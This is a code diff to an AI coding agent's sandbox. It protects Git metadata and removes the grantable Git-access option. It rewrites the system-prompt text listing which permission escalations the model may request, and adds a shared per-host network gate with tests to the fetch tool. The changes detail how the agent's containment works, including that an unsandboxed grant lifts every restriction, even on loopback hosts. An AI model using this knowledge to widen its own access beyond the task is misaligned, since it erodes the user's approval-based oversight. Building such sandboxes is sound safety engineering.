-        assert!(!covers(&grants, &git_request));
-
-        grants.record(&git_request);
-        assert!(covers(&grants, &git_request));
-        assert!(!covers(
-            &grants,
-            &request(NetworkRequest::AnyHost, false, &[])
-        ));
-        assert!(!covers(&grants, &request(NetworkRequest::None, true, &[])));
-    }
-
-    #[test]
-    fn unrestricted_writes_do_not_cover_git_access() {
-        let mut grants = ThreadSandboxGrants::default();
-        grants.record(&request(NetworkRequest::None, true, &[]));
-
-        let mut git_request = request(NetworkRequest::None, false, &[]);
-        git_request.allow_git_access = true;
-        assert!(!covers(&grants, &git_request));
-    }
-
     #[test]
     fn persistent_grants_combine_with_thread_grants() {
         let mut grants = ThreadSandboxGrants::default();
@@ -1189,7 +1138,6 @@ mod tests {
         let grants = ThreadSandboxGrants::default();
         let persistent = SandboxPermissions {
             allow_all_hosts: true,
-            allow_git_access: true,
             write_paths: vec![PathBuf::from("/tmp/always")],
             ..Default::default()
         };
@@ -1197,7 +1145,6 @@ mod tests {
         let effective = grants
             .effective_with_persistent(&request(NetworkRequest::None, false, &[]), &persistent);
         assert_eq!(effective.network, NetworkRequest::AnyHost);
-        assert!(effective.allow_git_access);
         assert_eq!(effective.write_paths, vec![PathBuf::from("/tmp/always")]);
     }
 
diff --git a/crates/agent/src/templates.rs b/crates/agent/src/templates.rs
index 582c12f4fe31e8..6b0942dca9305d 100644
--- a/crates/agent/src/templates.rs
+++ b/crates/agent/src/templates.rs
@@ -209,13 +209,12 @@ mod tests {
         assert!(rendered.contains("allow_hosts"));
         assert!(rendered.contains("allow_all_hosts: true"));
         assert!(rendered.contains("fs_write_paths"));
-        assert!(rendered.contains("allow_git_access: true"));
         assert!(rendered.contains("allow_fs_write_all: true"));
         assert!(rendered.contains("unsandboxed: true"));
-        assert!(rendered.contains("file contents under `.git` directories"));
-        assert!(
-            rendered.contains("worktree metadata that may live outside the project directories")
-        );
+        assert!(rendered.contains("`.git` directories remain protected"));
+        assert!(rendered.contains("Git metadata writes are never grantable inside the sandbox"));
+        assert!(rendered.contains("request `unsandboxed: true` with a reason"));
+        assert!(rendered.contains("git --no-optional-locks status"));
         assert!(rendered.contains("for the rest of the thread"));
     }
 
@@ -249,6 +248,37 @@ mod tests {
         assert!(rendered.contains("`/tmp/alpha`"));
     }
 
+    #[test]
+    fn test_system_prompt_windows_sandbox_section_rejects_host_specific_network() {
+        use prompt_store::{ProjectContext, WorktreeContext};
+
+        let worktrees = vec![WorktreeContext {
+            root_name: "alpha".to_string(),
+            abs_path: std::path::Path::new("C:/Users/me/project").into(),
+            rules_file: None,
+        }];
+        let project = ProjectContext::new(worktrees);
+        let template = SystemPromptTemplate {
+            project: &project,
+            available_tools: vec!["echo".into()],
+            model_name: Some("test-model".to_string()),
+            date: "2026-01-01".to_string(),
+            user_agents_md: None,
+            sandboxing: true,
+            is_linux: false,
+            is_windows: true,
+        };
+        let templates = Templates::new();
+        let rendered = template.render(&templates).unwrap();
+
+        assert!(rendered.contains("commands run inside WSL under Bubblewrap"));
+        assert!(rendered.contains("Protected Git metadata remains read-only"));
+        assert!(rendered.contains("do not use this on Windows"));
+        assert!(rendered.contains("such requests are rejected"));
+        assert!(rendered.contains("allow_all_hosts: true"));
+        assert!(rendered.contains("git --no-optional-locks status"));
+    }
+
     #[test]
     fn test_system_prompt_sandbox_section_handles_zero_worktrees() {
         let project = prompt_store::ProjectContext::default();
diff --git a/crates/agent/src/templates/system_prompt.hbs b/crates/agent/src/templates/system_prompt.hbs
index c615d0958fc219..160c94328d168a 100644
--- a/crates/agent/src/templates/system_prompt.hbs
+++ b/crates/agent/src/templates/system_prompt.hbs
@@ -158,13 +158,13 @@ The current project contains the following root directories:
 
 The `terminal` tool runs commands inside a sandbox with these permissions:
 
-- Reads: any path on the filesystem is readable, except that file contents under `.git` directories are blocked by default (their metadata stays visible). See `allow_git_access` below.
+- Reads: any path on the filesystem is readable, including Git metadata.
 {{#if is_linux}}
 - Writes: `/tmp` is writable but is cleared between `terminal` calls{{#if worktrees}}. These project directories are also writable and persist across calls:
 {{#each worktrees}}
   - `{{abs_path}}`
 {{/each}}
-  `.git` directories are not writable by default. Writes anywhere else on the filesystem are blocked.{{else}}. No project directories are currently writable.{{/if}}
+  `.git` directories remain protected. Writes anywhere else on the filesystem are blocked.{{else}}. No project directories are currently writable.{{/if}}
 {{else}}
 {{#if is_windows}}
 - Execution: commands run inside WSL under Bubblewrap. Native Windows project paths are routed through WSL's `/mnt/<drive>/...` filesystem view.
@@ -172,13 +172,13 @@ The `terminal` tool runs commands inside a sandbox with these permissions:
 {{#each worktrees}}
   - `{{abs_path}}`
 {{/each}}
-  Writes anywhere else on the WSL filesystem and mounted Windows drives are blocked.{{else}}. No project directories are currently writable.{{/if}}
+  Protected Git metadata remains read-only. Writes anywhere else on the WSL filesystem and mounted Windows drives are blocked.{{else}}. No project directories are currently writable.{{/if}}
 {{else}}
 - Writes: a per-thread temporary directory exposed via `$TMPDIR`, `$TMP`, and `$TEMP` is writable and persists across `terminal` calls in this thread{{#if worktrees}}, along with these project directories:
 {{#each worktrees}}
   - `{{abs_path}}`
 {{/each}}
-  `.git` directories are not writable by default. Writes anywhere else on the filesystem are blocked.{{else}}. No project directories are currently writable.{{/if}}
+  `.git` directories remain protected. Writes anywhere else on the filesystem are blocked.{{else}}. No project directories are currently writable.{{/if}}
 {{/if}}
 {{/if}}
 - Network: outbound network access is blocked.
@@ -189,7 +189,7 @@ The sandbox can only allow or block outbound network access as a whole — it ca
 You can request elevated permissions on individual `terminal` calls:
 
 - `allow_all_hosts: true` — allow unrestricted outbound network access. On this platform this is the only way to grant network access.
-- `allow_hosts: ["github.com", ...]` — accepted, but on this platform listing hosts grants unrestricted outbound network access (identical to `allow_all_hosts`), because per-host restriction can't be enforced. Prefer `allow_all_hosts` so the request is explicit.
+- `allow_hosts: ["github.com", ...]` — do not use this on Windows. Host-specific network grants cannot be enforced, and such requests are rejected; use `allow_all_hosts: true` when the command genuinely needs network access.
 {{else}}
 Host-scoped network access works through an HTTP/HTTPS proxy (standard proxy environment variables are set for the command). When access is scoped to specific hosts, tools that don't honor proxy environment variables (SSH, FTP, raw sockets, etc.) can't reach them, so use `https://` URLs instead of `git@`/`ssh://` when cloning or pushing.
 
@@ -198,10 +198,11 @@ You can request elevated permissions on individual `terminal` calls:
 - `allow_hosts: ["github.com", "*.npmjs.org"]` — allow outbound HTTP/HTTPS to specific hosts (exact hostnames or leading-`*.` subdomain wildcards; no IP literals). Prefer this whenever you know which hosts the command needs.
 - `allow_all_hosts: true` — lift the network restriction entirely: outbound access to any host over any protocol, so SSH, FTP, and raw sockets work too (unlike `allow_hosts`, which is HTTP/HTTPS-only). Use only when the specific hosts can't be enumerated up front.
 {{/if}}
-- `fs_write_paths: ["/abs/or/worktree-relative/path", ...]` — allow writes to specific paths (each directory grants its whole subtree). Prefer this whenever you know which paths the command needs to write.
-- `allow_git_access: true` — lift the default block on Git metadata, allowing reads and writes of file contents under `.git` directories (including worktree metadata that may live outside the project directories). Any command that touches `.git` needs this, including ones that invoke Git only incidentally (e.g. build scripts calling `git describe`/`git rev-parse`, or commit hooks).
-- `allow_fs_write_all: true` — allow unrestricted filesystem writes. Only use this when the specific paths can't be enumerated up front.
-- `unsandboxed: true` — run the command with no sandbox at all. Use only when none of the above suffice.
+- `fs_write_paths: ["/abs/or/worktree-relative/path", ...]` — allow writes to specific paths (each directory grants its whole subtree). Prefer this whenever you know which paths the command needs to write. Git metadata paths cannot be requested and will never be made writable while sandboxed.
+- `allow_fs_write_all: true` — allow unrestricted filesystem writes except protected Git metadata. Only use this when the specific paths can't be enumerated up front.
+- `unsandboxed: true` — run the command with no sandbox at all. Use only when none of the above suffice, including when a command must write Git metadata.
+
+Git metadata writes are never grantable inside the sandbox. If a command needs to update `.git`, linked worktree metadata, refs, the index, hooks, local Git config, or other Git metadata, request `unsandboxed: true` with a reason. For read-only Git operations, prefer flags that avoid optional metadata writes where possible, such as `git --no-optional-locks status` instead of `git status`.
 
 The user will be prompted to approve before the command runs, and can grant a sandbox request for that command, for the rest of the thread, or always. Once a host or write path is granted for the thread or always, later commands in this thread reaching that host or writing under that path won't prompt again.
 
diff --git a/crates/agent/src/tests/mod.rs b/crates/agent/src/tests/mod.rs
index 55e492c3b3f60c..4998a210b8a9d5 100644
--- a/crates/agent/src/tests/mod.rs
+++ b/crates/agent/src/tests/mod.rs
@@ -7147,6 +7147,12 @@ async fn test_fetch_tool_allow_rule_skips_confirmation(cx: &mut TestAppContext)
                 invalid_patterns: vec![],
             },
         );
+        // The fetch tool also gates on the shared per-host network grant, so
+        // grant docs.rs to keep this URL fully silent.
+        settings
+            .sandbox_permissions
+            .network_hosts
+            .push("docs.rs".into());
         agent_settings::AgentSettings::override_global(settings, cx);
     });
 
@@ -7166,7 +7172,181 @@ async fn test_fetch_tool_allow_rule_skips_confirmation(cx: &mut TestAppContext)
     let event = rx.try_recv();
     assert!(
         !matches!(event, Ok(Ok(ThreadEvent::ToolCallAuthorization(_)))),
-        "expected no authorization request for allowed docs.rs URL"
+        "expected no authorization request for allowed and granted docs.rs URL"
+    );
+}
+
+/// A fetch to a host that hasn't been granted network access prompts for the
+/// shared per-host sandbox grant, even when the tool itself is allowed.
+#[gpui::test]
+async fn test_fetch_tool_prompts_for_ungranted_host(cx: &mut TestAppContext) {
+    init_test(cx);
+
+    cx.update(|cx| {
+        let mut settings = agent_settings::AgentSettings::get_global(cx).clone();
+        settings.tool_permissions.tools.insert(
+            FetchTool::NAME.into(),
+            agent_settings::ToolRules {
+                default: Some(settings::ToolPermissionMode::Allow),
+                always_allow: vec![],
+                always_deny: vec![],
+                always_confirm: vec![],
+                invalid_patterns: vec![],
+            },
+        );
+        agent_settings::AgentSettings::override_global(settings, cx);
+    });
+
+    let http_client = gpui::http_client::FakeHttpClient::with_200_response();
+
+    #[allow(clippy::arc_with_non_send_sync)]
+    let tool = Arc::new(crate::FetchTool::new(http_client));
+    let (event_stream, mut rx) = crate::ToolCallEventStream::test();
+
+    let input: crate::FetchToolInput =
+        serde_json::from_value(json!({"url": "https://example.com/page"})).unwrap();
+
+    let _task = cx.update(|cx| tool.run(ToolInput::resolved(input), event_stream, cx));
+
+    cx.run_until_parked();
+
+    let authorization = rx.expect_authorization().await;
+    let details =
+        acp_thread::sandbox_authorization_details_from_meta(&authorization.tool_call.meta)
+            .expect("an ungranted host should request a sandbox network grant");
+    assert_eq!(details.network_hosts, vec!["example.com".to_string()]);
+    assert!(!details.network_all_hosts);
+}
+
+/// A host already present in the shared sandbox grants lets a fetch proceed
+/// without any prompt — the same grant the terminal tool records and consults.
+#[gpui::test]
+async fn test_fetch_tool_granted_host_skips_prompt(cx: &mut TestAppContext) {
+    init_test(cx);
+
+    cx.update(|cx| {
+        let mut settings = agent_settings::AgentSettings::get_global(cx).clone();
+        // Allow the tool itself so only the shared per-host grant is under test.
+        settings.tool_permissions.tools.insert(
+            FetchTool::NAME.into(),
+            agent_settings::ToolRules {
+                default: Some(settings::ToolPermissionMode::Allow),
+                always_allow: vec![],
+                always_deny: vec![],
+                always_confirm: vec![],
+                invalid_patterns: vec![],
+            },
+        );
+        settings
+            .sandbox_permissions
+            .network_hosts
+            .push("example.com".into());
+        agent_settings::AgentSettings::override_global(settings, cx);
+    });
+
+    let http_client = gpui::http_client::FakeHttpClient::with_200_response();
+
+    #[allow(clippy::arc_with_non_send_sync)]
+    let tool = Arc::new(crate::FetchTool::new(http_client));
+    let (event_stream, mut rx) = crate::ToolCallEventStream::test();
+
+    let input: crate::FetchToolInput =
+        serde_json::from_value(json!({"url": "https://example.com/page"})).unwrap();
+
+    let _task = cx.update(|cx| tool.run(ToolInput::resolved(input), event_stream, cx));
+
+    cx.run_until_parked();
+
+    let event = rx.try_recv();
+    assert!(
+        !matches!(event, Ok(Ok(ThreadEvent::ToolCallAuthorization(_)))),
+        "expected no authorization request for an already-granted host"
+    );
+}
+
+/// Loopback / IP-literal hosts can't be granted individually, so without
+/// unsandboxed access a fetch to them is refused with guidance to grant it.
+#[gpui::test]
+async fn test_fetch_tool_refuses_loopback_without_unsandboxed(cx: &mut TestAppContext) {
+    init_test(cx);
+
+    cx.update(|cx| {
+        let mut settings = agent_settings::AgentSettings::get_global(cx).clone();
+        // Allow the tool itself so the request reaches the per-host gate.
+        settings.tool_permissions.tools.insert(
+            FetchTool::NAME.into(),
+            agent_settings::ToolRules {
+                default: Some(settings::ToolPermissionMode::Allow),
+                always_allow: vec![],
+                always_deny: vec![],
+                always_confirm: vec![],
+                invalid_patterns: vec![],
+            },
+        );
+        agent_settings::AgentSettings::override_global(settings, cx);
+    });
+
+    let http_client = gpui::http_client::FakeHttpClient::with_200_response();
+
+    #[allow(clippy::arc_with_non_send_sync)]
+    let tool = Arc::new(crate::FetchTool::new(http_client));
+    let (event_stream, _rx) = crate::ToolCallEventStream::test();
+
+    let input: crate::FetchToolInput =
+        serde_json::from_value(json!({"url": "http://localhost:3000/api"})).unwrap();
+
+    let task = cx.update(|cx| tool.run(ToolInput::resolved(input), event_stream, cx));
+    let result = task.await;
+    assert!(result.is_err(), "expected a loopback fetch to be refused");
+    assert!(
+        result.unwrap_err().contains("unsandboxed"),
+        "error should point at unsandboxed access as the way to reach loopback hosts"
+    );
+}
+
+/// Granting unsandboxed access lifts every fetch restriction, matching the
+/// terminal: even loopback hosts become reachable and no per-host prompt is
+/// requested.
+#[gpui::test]
+async fn test_fetch_tool_unsandboxed_lifts_restrictions(cx: &mut TestAppContext) {
+    init_test(cx);
+
+    cx.update(|cx| {
+        let mut settings = agent_settings::AgentSettings::get_global(cx).clone();
+        settings.sandbox_permissions.allow_unsandboxed = true;
+        // Allow the tool itself so only the per-host gate is under test.
+        settings.tool_permissions.tools.insert(
+            FetchTool::NAME.into(),
+            agent_settings::ToolRules {
+                default: Some(settings::ToolPermissionMode::Allow),
+                always_allow: vec![],
+                always_deny: vec![],
+                always_confirm: vec![],
+                invalid_patterns: vec![],
+            },
+        );
+        agent_settings::AgentSettings::override_global(settings, cx);
+    });
+
+    let http_client = gpui::http_client::FakeHttpClient::with_200_response();
+
+    #[allow(clippy::arc_with_non_send_sync)]
+    let tool = Arc::new(crate::FetchTool::new(http_client));
+    let (event_stream, mut rx) = crate::ToolCallEventStream::test();
+
+    // A loopback host that could never be granted individually is reachable,
+    // and no per-host authorization is requested.
+    let input: crate::FetchToolInput =
+        serde_json::from_value(json!({"url": "http://localhost:3000/api"})).unwrap();
+
+    let _task = cx.update(|cx| tool.run(ToolInput::resolved(input), event_stream, cx));
+
+    cx.run_until_parked();
+
+    let event = rx.try_recv();
+    assert!(
+        !matches!(event, Ok(Ok(ThreadEvent::ToolCallAuthorization(_)))),
+        "expected no authorization request when unsandboxed access is granted"
     );
 }
 
diff --git a/crates/agent/src/thread.rs b/crates/agent/src/thread.rs
index 6bc2715dd7e652..fb2b277a634b5c 100644
--- a/crates/agent/src/thread.rs
+++ b/crates/agent/src/thread.rs
@@ -12,10 +12,10 @@ use action_log::ActionLog;
 use agent_settings::UserAgentsMd;
 
 use crate::sandboxing::{
-    SandboxRequest, ThreadSandbox, ThreadSandboxGrants, sandboxing_available_for_project,
+    SandboxRequest, ThreadSandbox, ThreadSandboxGrants, sandbox_git_dirs,
+    sandbox_worktree_writable_paths, sandboxing_available_for_project,
     sandboxing_enabled_for_project,
 };
-use crate::tools::{SandboxGitPathCandidates, sandbox_git_paths};
 use agent_client_protocol::schema::v1 as acp;
 use agent_settings::{
     AgentProfileId, AgentProfileSettings, AgentSettings, AutoCompactThreshold, COMPACTION_PROMPT,
@@ -99,9 +99,6 @@ pub struct SandboxStatusKey {
     pub thread_sandbox: ThreadSandbox,
     pub baseline_writable_paths: Vec<PathBuf>,
     pub git_paths: Vec<PathBuf>,
-    pub repository_paths: Vec<(PathBuf, PathBuf, PathBuf, PathBuf)>,
-    pub settings_allow_git_access: bool,
-    pub thread_allow_git_access: bool,
 }
 
 #[derive(Clone, Debug, Eq, PartialEq)]
@@ -1794,21 +1791,16 @@ impl Thread {
         }
     }
 
-    /// The sandbox grants configured for this thread, using unverified Git path
-    /// candidates. Use [`Self::refresh_verified_sandbox_status`] for UI or other
-    /// surfaces that need to match terminal enforcement.
     pub fn sandbox_status(&self, cx: &App) -> Option<(ThreadSandbox, ThreadSandbox)> {
         if !self.sandboxing_available(cx) {
             return None;
         }
         let persistent = AgentSettings::get_global(cx).sandbox_permissions.clone();
-        let git_dirs = crate::sandboxing::sandbox_git_dirs(self.project.read(cx), cx);
+        let git_dirs = sandbox_git_dirs(self.project.read(cx), cx);
         let grants = self.sandbox_grants.borrow();
         let settings = crate::sandboxing::settings_thread_sandbox(&persistent)
-            .with_git(persistent.allow_git_access, git_dirs.clone());
-        let thread = grants
-            .thread_sandbox()
-            .with_git(grants.git_access_granted(), git_dirs);
+            .with_protected_paths(git_dirs.clone());
+        let thread = grants.thread_sandbox().with_protected_paths(git_dirs);
         Some((settings, thread))
     }
 
@@ -1824,69 +1816,27 @@ impl Thread {
         let settings_sandbox = crate::sandboxing::settings_thread_sandbox(&persistent);
         let grants = self.sandbox_grants.borrow();
         let thread_sandbox = grants.thread_sandbox();
-        let thread_allow_git_access = grants.git_access_granted();
         drop(grants);
 
-        let (sandbox_path_candidates, fs) = {
-            let project = self.project.read(cx);
-            (
-                SandboxGitPathCandidates::from_project(project, cx),
-                project.fs().clone(),
-            )
-        };
-        let baseline_writable_paths = sandbox_path_candidates.writable_paths.clone();
-        let git_paths = sandbox_path_candidates.git_paths.clone();
-        let repository_paths = sandbox_path_candidates.cache_key_repositories();
+        let project = self.project.read(cx);
+        let baseline_writable_paths = sandbox_worktree_writable_paths(project, cx);
+        let git_paths = sandbox_git_dirs(project, cx);
 
         let key = SandboxStatusKey {
             settings_sandbox: settings_sandbox.clone(),
             thread_sandbox: thread_sandbox.clone(),
             baseline_writable_paths: baseline_writable_paths.clone(),
             git_paths: git_paths.clone(),
-            repository_paths,
-            settings_allow_git_access: persistent.allow_git_access,
-            thread_allow_git_access,
         };
 
-        if settings_sandbox.is_unsandboxed() || thread_sandbox.is_unsandboxed() {
-            return Some((
-                key,
-                SandboxStatusRefresh::Ready(VerifiedSandboxStatus {
-                    settings_sandbox,
-                    thread_sandbox,
-                    baseline_writable_paths,
-                }),
-            ));
-        }
-
-        let git_access_requested = persistent.allow_git_access || thread_allow_git_access;
-        if !git_access_requested {
-            return Some((
-                key,
-                SandboxStatusRefresh::Ready(VerifiedSandboxStatus {
-                    settings_sandbox: settings_sandbox.with_git(false, git_paths.clone()),
-                    thread_sandbox: thread_sandbox.with_git(false, git_paths),
-                    baseline_writable_paths,
-                }),
-            ));
-        }
-
-        let task = cx.spawn(async move |_this, _cx| {
-            let sandbox_paths = sandbox_git_paths(sandbox_path_candidates, fs.as_ref(), true).await;
-            VerifiedSandboxStatus {
-                settings_sandbox: settings_sandbox.with_git(
-                    persistent.allow_git_access && sandbox_paths.allow_git_access,
-                    sandbox_paths.git_dirs.clone(),
-                ),
-                thread_sandbox: thread_sandbox.with_git(
-                    thread_allow_git_access && sandbox_paths.allow_git_access,
-                    sandbox_paths.git_dirs,
-                ),
+        Some((
+            key,
+            SandboxStatusRefresh::Ready(VerifiedSandboxStatus {
+                settings_sandbox: settings_sandbox.with_protected_paths(git_paths.clone()),
+                thread_sandbox: thread_sandbox.with_protected_paths(git_paths),
                 baseline_writable_paths,
-            }
-        });
-
-        Some((key, SandboxStatusRefresh::Pending(task)))
+            }),
+        ))
     }
 
     /// Whether agent terminal commands are sandboxed for this thread's project,
@@ -5650,7 +5600,6 @@ impl ToolCallEventStream {
             command: None,
             network_hosts,
             network_all_hosts,
-            allow_git_access: request.allow_git_access,
             allow_fs_write_all: request.allow_fs_write_all,
             unsandboxed: request.unsandboxed,
             write_paths: request.write_paths.clone(),
@@ -5855,9 +5804,7 @@ impl ToolCallEventStream {
                         agent.set_sandbox_network_hosts(host_strings);
                     }
                 }
-                if request.allow_git_access {
-                    agent.allow_sandbox_git_access();
-                }
+
                 if request.allow_fs_write_all {
                     agent.allow_sandbox_fs_write_all();
                 }
@@ -5901,6 +5848,20 @@ impl ToolCallEventStream {
         self.sandbox_grants.borrow().unsandboxed_granted()
     }
 
+    /// Whether unsandboxed access is currently in effect: granted for this
+    /// thread (a model-requested `unsandboxed` escape or a sandbox-creation
+    /// fallback) or configured persistently via `allow_unsandboxed`. When true,
+    /// commands already run without any OS sandbox, so per-host network grants
+    /// no longer provide isolation and callers may skip host authorization
+    /// entirely.
+    pub(crate) fn unsandboxed_access_granted(&self, cx: &App) -> bool {
+        self.unsandboxed_granted_for_thread()
+            || self.sandbox_fallback_granted_for_thread()
+            || AgentSettings::get_global(cx)
+                .sandbox_permissions
+                .allow_unsandboxed
+    }
+
     /// Ask the user how to proceed when the OS sandbox could not be created
     /// for a command (for example, `bwrap` is missing or user namespaces are
     /// disabled).
@@ -7592,7 +7553,6 @@ mod tests {
         let (event_stream, mut receiver) = ToolCallEventStream::test();
         let request = SandboxRequest {
             network: crate::sandboxing::NetworkRequest::None,
-            allow_git_access: false,
             allow_fs_write_all: false,
             unsandboxed: false,
             write_paths: vec![
@@ -7616,7 +7576,6 @@ mod tests {
                 .expect("sandbox authorization should include request details");
         assert!(details.network_hosts.is_empty());
         assert!(!details.network_all_hosts);
-        assert_eq!(details.allow_git_access, request.allow_git_access);
         assert_eq!(details.allow_fs_write_all, request.allow_fs_write_all);
         assert_eq!(details.unsandboxed, request.unsandboxed);
         assert_eq!(details.write_paths, request.write_paths);
diff --git a/crates/agent/src/tools.rs b/crates/agent/src/tools.rs
index f55c16ae931929..452b4a01d09135 100644
--- a/crates/agent/src/tools.rs
+++ b/crates/agent/src/tools.rs
@@ -84,7 +84,7 @@ pub use rename_tool::*;
 pub use skill_tool::*;
 pub use spawn_agent_tool::*;
 pub use symbol_locator::*;
-pub(crate) use terminal_tool::sandbox_git_paths::{SandboxGitPathCandidates, sandbox_git_paths};
+
 pub use terminal_tool::*;
 pub use tool_permissions::*;
 pub use web_search_tool::*;
diff --git a/crates/agent/src/tools/fetch_tool.rs b/crates/agent/src/tools/fetch_tool.rs
index 5d6cc82dbba2b3..96c0fd2aba175b 100644
--- a/crates/agent/src/tools/fetch_tool.rs
+++ b/crates/agent/src/tools/fetch_tool.rs
@@ -13,6 +13,7 @@ use serde::{Deserialize, Serialize};
 use ui::SharedString;
 use util::markdown::{MarkdownEscaped, MarkdownInlineCode};
 
+use crate::sandboxing::{NetworkRequest, SandboxRequest};
 use crate::{AgentTool, ToolCallEventStream, ToolInput};
 
 #[derive(Debug, PartialEq, Eq, PartialOrd, Ord, Hash, Clone, Copy)]
@@ -23,6 +24,14 @@ enum ContentType {
 }
 
 /// Fetches a URL and returns the content as Markdown.
+///
+/// This tool is not run inside the terminal OS sandbox, but it still refuses to
+/// reach any host that hasn't been granted network access. It shares the same
+/// per-host grants as the `terminal` tool: approving a host for one authorizes
+/// it for the other, whether the grant is for this thread or saved permanently.
+/// When unsandboxed access has been granted, these restrictions are lifted
+/// entirely, matching the terminal, which is also how loopback and IP-literal
+/// hosts (which can't be granted individually) become reachable.
 #[derive(Debug, Serialize, Deserialize, JsonSchema)]
 pub struct FetchToolInput {
     /// The URL to fetch.
@@ -114,6 +123,30 @@ impl FetchTool {
     }
 }
 
+/// Extracts the host from a fetch URL as a [`http_proxy::HostPattern`] so it can
+/// be matched against the shared network grants. Mirrors the scheme handling in
+/// [`FetchTool::build_message`] (defaulting to `https://` when none is given).
+fn host_pattern_for_url(url: &str) -> Result<http_proxy::HostPattern> {
+    let normalized = if !url.starts_with("https://") && !url.starts_with("http://") {
+        Cow::Owned(format!("https://{url}"))
+    } else {
+        Cow::Borrowed(url)
+    };
+    let parsed =
+        url::Url::parse(&normalized).with_context(|| format!("could not parse URL {url:?}"))?;
+    let host = parsed
+        .host_str()
+        .with_context(|| format!("URL {url:?} has no host to authorize network access for"))?;
+    http_proxy::HostPattern::parse(host).map_err(|error| match error {
+        http_proxy::HostPatternError::IpLiteral(_) => anyhow::anyhow!(
+            "cannot fetch {host:?}: loopback and IP-literal hosts can't be granted network \
+             access individually. They are only reachable once unsandboxed access has been \
+             granted (for example, via a terminal command that requests it)."
+        ),
+        error => anyhow::anyhow!("cannot authorize network access to {host:?}: {error}"),
+    })
+}
+
 impl AgentTool for FetchTool {
     type Input = FetchToolInput;
     type Output = String;
@@ -149,6 +182,8 @@ impl AgentTool for FetchTool {
         cx.spawn(async move |cx| {
             let input: FetchToolInput = input.recv().await.map_err(|e| e.to_string())?;
 
+            // First, the standard tool-permission gate (honors the fetch tool's
+            // allow/deny/confirm rules).
             let authorize = cx.update(|cx| {
                 let context =
                     crate::ToolPermissionContext::new(Self::NAME, vec![input.url.clone()]);
@@ -159,14 +194,45 @@ impl AgentTool for FetchTool {
                     cx,
                 )
             });
+            futures::select! {
+                result = authorize.fuse() => result.map_err(|e| e.to_string())?,
+                _ = event_stream.cancelled_by_user().fuse() => {
+                    return Err("Fetch cancelled by user".to_string());
+                }
+            };
+
+            // Then, unless unsandboxed access is already in effect, the per-host
+            // network grant shared with the terminal tool. If the host isn't
+            // already granted (for this thread or in saved settings) the user is
+            // shown the same escalation prompt the terminal uses; a denial
+            // aborts the fetch. This tool never runs inside the OS sandbox, so
+            // the grant is only consulted to decide whether the request may
+            // proceed. When unsandboxed access has been granted the terminal
+            // already runs without isolation, so we drop fetch's restrictions
+            // too — including reaching hosts that can't be granted individually
+            // (loopback and IP literals).
+            let unsandboxed = cx.update(|cx| event_stream.unsandboxed_access_granted(cx));
+            if !unsandboxed {
+                let host = host_pattern_for_url(&input.url).map_err(|e| e.to_string())?;
+                let authorize_host = cx.update(|cx| {
+                    let request = SandboxRequest {
+                        network: NetworkRequest::Hosts(vec![host]),
+                        ..Default::default()
+                    };
+                    event_stream.authorize_sandbox(request, String::new(), cx)
+                });
+                futures::select! {
+                    result = authorize_host.fuse() => result.map_err(|e| e.to_string())?,
+                    _ = event_stream.cancelled_by_user().fuse() => {
+                        return Err("Fetch cancelled by user".to_string());
+                    }
+                };
+            }
 
             let fetch_task = cx.background_spawn({
                 let http_client = http_client.clone();
                 let url = input.url.clone();
-                async move {
-                    authorize.await?;
-                    Self::build_message(http_client, &url).await
-                }
+                async move { Self::build_message(http_client, &url).await }
             });
 
             let text = futures::select! {
diff --git a/crates/agent/src/tools/terminal_tool.rs b/crates/agent/src/tools/terminal_tool.rs
index 9dba295126491d..ef394c5e8ba14d 100644
--- a/crates/agent/src/tools/terminal_tool.rs
+++ b/crates/agent/src/tools/terminal_tool.rs
@@ -15,11 +15,11 @@ use std::{
 
 #[cfg(any(target_os = "linux", target_os = "windows"))]
 use crate::SandboxFallbackDecision;
-use crate::sandboxing::{NetworkRequest, sandboxing_enabled_for_project};
+use crate::sandboxing::{
+    NetworkRequest, sandbox_git_dirs, sandbox_worktree_writable_paths,
+    sandboxing_enabled_for_project,
+};
 use crate::{AgentTool, ThreadEnvironment, ToolCallEventStream, ToolInput};
-use sandbox_git_paths::{SandboxGitPathCandidates, sandbox_git_paths};
-
-pub(crate) mod sandbox_git_paths;
 
 const COMMAND_OUTPUT_LIMIT: u64 = 16 * 1024;
 
@@ -44,13 +44,14 @@ const COMMAND_OUTPUT_LIMIT: u64 = 16 * 1024;
 /// The terminal is an interactive pty, so any command that blocks waiting for input will hang the tool until it times out. To avoid this:
 ///
 /// - Always insert `--no-pager` immediately after `git` for any read-only git command, including `git log`, `git diff`, `git show`, `git blame`, and `git stash show`. Example: `git --no-pager log -n 5` (NOT `git log -n 5`).
+/// - Prefer Git flags that avoid optional metadata writes when possible, such as `git --no-optional-locks status` instead of `git status`.
 /// - Always prepend `GIT_EDITOR=true ` to any git command that may invoke an editor, including `git rebase`, `git commit`, `git merge`, and `git tag`. Example: `GIT_EDITOR=true git rebase origin/main` (NOT `git rebase origin/main`).
 /// - For other commands that may open a pager or editor, set `PAGER=cat` and/or `EDITOR=true` similarly.
 #[derive(Clone, Debug, Default, Serialize, Deserialize, JsonSchema)]
 pub struct TerminalToolInput {
     /// The one-liner command to execute. Do not include shell substitutions or interpolations such as `$VAR`, `${VAR}`, `$(...)`, backticks, `$((...))`, `<(...)`, or `>(...)`; resolve those values first or ask the user for the literal value to use.
     ///
-    /// REMINDER: read-only git commands (`git log`, `git diff`, `git show`, `git blame`) MUST include `--no-pager` (e.g. `git --no-pager log`). Git commands that may open an editor (`git rebase`, `git commit`, `git merge`, `git tag`) MUST be prefixed with `GIT_EDITOR=true ` (e.g. `GIT_EDITOR=true git rebase origin/main`). Otherwise the terminal will hang.
+    /// REMINDER: read-only git commands (`git log`, `git diff`, `git show`, `git blame`) MUST include `--no-pager` (e.g. `git --no-pager log`). Prefer `git --no-optional-locks status` over `git status` to avoid optional metadata writes. Git commands that may open an editor (`git rebase`, `git commit`, `git merge`, `git tag`) MUST be prefixed with `GIT_EDITOR=true ` (e.g. `GIT_EDITOR=true git rebase origin/main`). Otherwise the terminal will hang.
     pub command: String,
     /// Working directory for the command. This must be one of the root directories of the project.
     pub cd: String,
@@ -85,13 +86,14 @@ pub struct TerminalToolInput {
 /// The terminal is an interactive pty, so any command that blocks waiting for input will hang the tool until it times out. To avoid this:
 ///
 /// - Always insert `--no-pager` immediately after `git` for any read-only git command, including `git log`, `git diff`, `git show`, `git blame`, and `git stash show`. Example: `git --no-pager log -n 5` (NOT `git log -n 5`).
+/// - Prefer Git flags that avoid optional metadata writes when possible, such as `git --no-optional-locks status` instead of `git status`.
